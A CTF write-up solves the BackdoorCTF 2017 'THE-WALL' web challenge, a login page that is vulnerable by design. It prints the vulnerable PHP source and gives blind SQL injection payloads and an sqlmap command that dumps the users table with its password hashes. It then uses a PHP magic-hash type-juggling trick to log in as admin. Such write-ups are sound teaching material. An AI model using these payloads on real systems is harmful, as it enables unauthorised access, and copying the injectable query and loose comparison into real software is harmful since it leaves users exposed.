BackdoorCTF 2017 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

100 - THE-WALL - Web#

Night king needs the secret flag to destroy the wall. Help night king get flag from LordCommander(admin) so that army of dead can kill the living

http://163.172.176.29/WALL

Let's see this page: $ curl http://163.172.176.29/WALL/login.html:

<html>
<head>
<title>The Wall</title>
</head>
<body>
<form action="index.php" method="POST">
Username:<input type="text" name="life" /><br>
Password:<input type="password" name="soul" /><br>
<input type="submit">
</form>
<br>
Here is the sourec of <a href="source.php">index.php</a>
</body>
</html>

We have a simple login form and author of the challenge provides us the source of index.php.

index.php:

 <html>
<head>
<title>The Wall</title>
</head>
<body>
<?php
include 'flag.php';

if(isset($_REQUEST['life'])&&isset($_REQUEST['soul'])){
    $username = $_REQUEST['life'];
    $password = $_REQUEST['soul'];

    if(!(is_string($username)&&is_string($password))){
        header( "refresh:1;url=login.html");
        die("You are not allowed south of wall");
    }

    $password = md5($password);

    include 'connection.php';
    /*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/

    $message = "";
    if(preg_match('/(union|\|)/i', $username)){
        $message="Dead work alone not in UNIONs"."</br>";
        echo $message;
        die();
    }
    $query = "SELECT * FROM users WHERE username='$username'";
    $result = $pdo->query($query);
    $users = $result->fetchArray(SQLITE3_ASSOC);

    if($users) {
        if($password == $users['password']){
            if($users['role']=="admin"){
                echo "Here is your flag: $flag";
            }elseif($users['role']=="normal"){
                $message = "Welcome, ".$users['users']."</br>";
                $message.= "Unfortunately, only Lord Commander can access flag";
            }else{
                $message = "What did you do?";
            }
        }
        else{
            $message = "Wrong identity for : ".$users['username'];
        }

    }
    else{
        $message = "No such person exists"."<br>";
    }
    echo $message;
}else{
    header( "refresh:1;url=login.html");
    die("Only living can cross The Wall");
}
?>

</body>
</html>

Of course parameter taken by index.php are the same as those in the form:

$username = $_REQUEST['life'];
$password = $_REQUEST['soul'];

An important note is that the server compute the md5 of the sent password, so passwords must be stored in md5 in the database.

$password = md5($password);

They are kind enought to provide us the structure of the table:

/*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/

But we can see that our input pass trough a filer:

if(preg_match('/(union|\|)/i', $username)){

So we won't be able to use UNION. (UNI/*X*/ON, UNI%0bON, etc... didn't work).

The injectable SQL query is (quite basic):

$query = "SELECT * FROM users WHERE username='$username'";

And finally we have the authentication part:

if($users) {
        if($password == $users['password']){
            if($users['role']=="admin"){
                echo "Here is your flag: $flag";
            }elseif($users['role']=="normal"){
                $message = "Welcome, ".$users['users']."</br>";
                $message.= "Unfortunately, only Lord Commander can access flag";
            }else{
                $message = "What did you do?";
            }
        }
        else{
            $message = "Wrong identity for : ".$users['username'];
        }

    }
    else{
        $message = "No such person exists"."<br>";
    }

We know that LordCommander is the admin user and we need his password to get the flag.

As we don't have results displayed but only authentication errors this will be a boolean-based blind SQli a.k.a. error-based blind SQL injection.

We can use HackBar or BurpSuite to send our SQL payload in POST.

A true query like life=LordCommander' AND 1=1-- -&soul=b will return an error like Wrong identity for : LordCommander. But a false query like life=LordCommander' AND 1=2-- -&soul=b will return No such person exists.

So we can do a blind SQLi bruteforce script like I did during ECW in 2016 for 50 - Authentification - Web or during FIT-HACK CTF 2017 for 150 - Let's login - Web.

But I'm a little lazy tonight so I will use sqlmap to dump the database:

$ sqlmap -u http://163.172.176.29/WALL/index.php --method=POST --data='life=LordCommander&soul=b' -p life --dbms SQLite --os linux --dump

[...]

Database: SQLite_masterdb
Table: users
[3 entries]
+----+--------+---------------+----------------------------------+
| id | role   | username      | password                         |
+----+--------+---------------+----------------------------------+
| 1  | normal | JonSnow       | 8bed707bb9c0a948fa0c465495fc8014 |
| 2  | admin  | LordCommander | 0e565041023046045310587974628079 |
| 3  | normal | Targaryen     | 6a1def57895118aed6fd730d0dd84ce3 |
+----+--------+---------------+----------------------------------+

[...]

Using various online md5 cracker and crackstation I managed to crack 6a1def57895118aed6fd730d0dd84ce3 as DragonBlood in md5 but didn't find anything for the two others.

Targaryen is just a normal user and we need the password of the admin.

The important part is here:

if($password == $users['password']){

This is not a strict equality === and we know that PHP have some flaw.

So I used PHP Magic Tricks: Type Juggling.

For Type Juggling:

When comparing a string to a number, PHP will attempt to convert the string to a number then perform a numeric comparison.

  • TRUE: "0000" == int(0)
  • TRUE: "0e12" == int(0)
  • TRUE: "1abc" == int(1)
  • TRUE: "0abc" == int(0)
  • TRUE: "abc" == int(0)

It gets weirder... If PHP decides that both operands look like numbers, even if they are actually strings, it will convert them both and perform a numeric comparison:

  • TRUE: "0e12345" == "0e54321"
  • TRUE: "0e12345" <= "1"
  • TRUE: "0e12345" == "0"
  • TRUE: "0xF" == "15"

Here the equality is between two string so we can't use something like md5('DHINSE') == '0e5600142234d0ede950b3d30d7c7727'.

This time md5db won't help. What we need here is a md5 hash with only numbers because LordCommander password hash is 0e565041023046045310587974628079 so if we manage to get one both stings will be converted to numbers and PHP will do a numeric comparison.

I found on whitehatsec.com the md5 magic hash (md5('240610708') == '0e462097431906509019562988736854'). We can log in with 240610708 and get the flag.

Since Backdoor is an always-online CTF platform, and not a one time contest, we kindly request you to not publish flags for the challenges in your writeups.

Bonus: If you searched for 0e565041023046045310587974628079 on google there was only one match: a pastbin containing 0e565041023046045310587974628079:MyWatchIsOver. But of course this is a troll because (md5('MyWatchIsOver') == '0afa34c220d2abce41debe1bb010d987').

Share